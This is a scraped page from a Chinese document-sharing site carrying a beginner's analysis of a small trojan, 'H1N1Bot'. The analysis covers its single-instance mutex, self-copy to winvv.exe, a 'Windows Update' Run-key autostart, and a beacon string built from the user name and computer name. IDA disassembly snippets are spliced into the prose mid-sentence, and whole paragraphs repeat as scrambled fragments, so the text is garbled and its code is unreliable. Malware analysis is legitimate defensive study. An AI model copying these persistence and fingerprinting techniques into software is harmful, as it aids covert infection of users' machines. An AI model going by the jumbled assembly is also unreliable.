木马分析计算机网络信息安全_计算机-网络信息安全.pdf
《木马分析计算机网络信息安全_计算机-网络信息安全.pdf》由会员分享,可在线阅读,更多相关《木马分析计算机网络信息安全_计算机-网络信息安全.pdf(9页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、完整版-木马分析 一个木马的分析 第一次详细分析木马,不足之处请见谅。这个木马一共 4KB 是个比较简单的程序,所以分析起来也不是很难。下面开 始正式分析。这是程序的主题函数,一进来就是三个初始化的 call,然后就是一个大的循 环,程序就是在这个循环之中不停的运行着。跟进第一个 call:函数首先创建了一个 hObject 变量用于存放创建的互斥对象句柄。mov ebp+hObject,start proc near eax 就是将创建的互斥句柄传送到 call sub_401481hObject 中。这里是创建了一个名为 call sub_401092 HINIBot 的互斥对象。然后调用
2、 call sub_4011AE loc_4014C4:GetLastError 得到错误码这里加 call sub_4013D5 入程序已经有一份实例在运行了则 call sub_40143F push 0EA60h;这个互斥对象就是创建过了的就是 dwMilliseconds 得到错 误代码为 0B7h 的值。通过查 call Sleep 询 msdn 发现:0b7h 含义是 Cannot jmp short loc_4014C4 start endp create a file when that file already exists.所以这样就防止了木马程序同时打开了多份。当返回值是
3、 0B7h 的时候调用 ExitProcess退出程序。总结来说这个 call 就是检查程序是否 已经打开要是打开过了就退出。进入 401092 的 call,由于这 hObject=dword ptr-4 个函数代码过多,就不贴详细的.text:00401481 代码了。函数定义了两个局部字.text:00401481 push ebp 符串数组 ExistingFileName,.text:00401482 mov ebp,esp String2(这里是 ida 分析给出的名.text:00401484 add esp,0FFFFFFFCh 字)和一个文件指针。函数先将.text:0040
4、1487 push offset Name;这两个数组用零填充,然后调用 H1N1Bot GetModuleFileNameA得到当前.text:0040148C push 0;程序的完整路径,并将结果存放 bInitialOwner 在 Exist in gFileName 中。在调用.text:0040148E push 0;SHGetFolderPathA 并将结果存 lpMutexAttributes 放在 String2 中。.text:00401490 call CreateMutexA SHGetFolderPathA 可以获.text:00401495 mov ebp+hObj
5、ect,eax 取系统文件夹,这里他的参数值.text:00401498 call GetLastError 是 0 x1c。.text:0040149D cmp eax,0B7h Const.text:004014A2 jz short loc_4014A6 CSIDL_LOCAL_APPDATA调用 ExitProcess 退出程序.(用户 本地设置 应用程序数.text:004014A4 leave 据。即如果以 administration 身.text:004014A5 retn 份登录获得的是 C:DocumentsandSettingsAdministratorLocal 路径。
6、然后调用 lstrcatA 这个函数在 String2 的后面加上 winvv.exe。然后比较 String2 和 ExistingFileName 是否相同,不同则把自身复制到 ExistingFileName 中,最后运行复制 起来也不是很难下面开始正式分析这是程序的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要
7、是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面过去的文件,自身退出。总体来讲第二个 call 就是路径检查的。3.进入 4011AE 的 call,这个函数就是实现程序的开机运行,手法也很简单 就是在注册表中创建键值。位置在,键值叫做 Windows Update,其迷惑作用。4(下面我们进入这个木马的核心程序。大循环。4013D5 的 call sub_4013D5 proc near lpStrin
8、g=dword ptr-4 push ebp mov ebp,esp add esp,-4 push 40h;flProtect push 1000h;flAllocationType push 512;dwSize push 0;lpAddress call VirtualAlloc;申请内存 mov ebp+lpString,eax;内存首地址存到局部变量里 mov dword ptr eax,edom add eax,4 mov dword ptr eax,i&2=add eax,4 mov dword ptr eax,tned add eax,4 起来也不是很难下面开始正式分析这是程序
9、的主题函数一进来就是三个初始化的然后就是一个大的循环程序就是在这个循环之中不停的运行着跟进第一个函数首先创建了一个变量用于存放创建的互斥对象句柄就是将创建的互斥句柄斥对象就是创建过了的就是得到错误代码为的值通过查询发现含义是所以这样就防止了木马程序同时打开了多份当返回值是的时候调用退出程序总结来说这个就是检查程序是否已经打开要是打开过了就退出进入的由于这个函数代码数组用零填充然后调用得到当前程序的完整路径并将结果存放在中在调用并将结果存放在中可以获取系统文件夹这里他的参数值是调用退出程序用户本地设置应用程序数据即如果以份登录获得的是身路径然后调用这个函数在的后面mov byte ptr eax
10、,=inc eax;向 buffer 中填充 mode=2&ident=(注意顺序)push eax push eax;lpString call sub_40138B;向 buffer 追加当前系统用户名,并返回用户名长度 mov ecx,eax pop eax add eax,ecx push eax;eax 始终保持指向字符串的末尾 push eax;lpString call sub_4013B0;获取计算机名,并追加到 buffer 中,返回计算机名长度 push ebp+lpString 此时 buffer 内容为 mode=2&ide nt=AdministratorPC-201
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 木马 分析 计算机网络 信息 安全 计算机 网络
限制150内